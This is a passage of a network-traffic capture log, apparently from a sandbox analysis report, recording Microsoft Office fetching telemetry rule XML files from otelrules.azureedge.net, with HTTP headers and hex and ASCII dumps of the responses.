4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-16547b76f7f2b5qzhC1DFWeag400000002a000000000fxw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-16547b76f7ftnm6xhC1DFW9c8c00000003xg00000000294c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-16547b76f7fffb7lhC1DFWdsxg000000049g00000000d3pn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-16547b76f7ff9zf4hC1DFW2pfc00000001ug000000006c9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-1866b5c5fbb2cz68hC1DFW9ytc00000003ag000000002y6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-16547b76f7fwggrphC1DFW2a8s00000003200000000096m9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f0850b4c-401e-005b-0318-379c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-164f84587bfjxw6fhC1DFWq944000000048g00000000dk3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-16547b76f7fhv4d5hC1DFW7h0n00000002fg00000000dnnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-16547b76f7fmcv27hC1DFWgpcg0000000330000000002ku4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-16547b76f7ftnm6xhC1DFW9c8c00000003w0000000004t55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-16547b76f7fsq6p7hC1DFWfx6800000002m000000000dtp0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-16547b76f7fl5zvnhC1DFWtk9g00000002qg0000000048d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
